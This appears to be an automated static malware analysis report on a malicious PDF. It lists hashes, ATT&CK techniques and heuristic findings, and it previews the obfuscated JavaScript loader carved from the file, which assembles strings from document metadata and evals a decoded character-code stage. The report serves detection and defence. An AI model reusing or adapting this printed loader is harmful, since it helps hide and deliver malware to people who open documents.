Malicious PDF — malware analysis report

Static analysis result for SHA-256 340ae0625ca75cd4…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-08
MD5: 72c1cd0fa32833a38ebcbe90e0fcb93e SHA-1: 3d40b67a50a0d8ffcd6ba2157abd499c294d3ed1 SHA-256: 340ae0625ca75cd4f79cb0d48604cd66c5bd0d73326f7dad13d91918a06d516a
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. The script reconstructs a string by concatenating characters and then uses it to decode and execute a second-stage payload. The ML classifier strongly indicates maliciousness. The primary IOC is the embedded JavaScript file itself, which is responsible for the payload delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB06E 473 bytes
SHA-256: a89a62322989427c7e893f3db425c58dada15913cf594825894de6bf75f4dcd0
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
mrk=e(v[4]+'i'.concat(v[4],t));
q=mrk[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
gxb=e(e('d'));
sub=v[0];
sub+='ubject';
q=mrk[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	lxj = 1*(q[i]);
	i++;
	lxj -= (-1)*(q[i]);
	s2 += gxb(lxj);
	i++;
}
e(s2);

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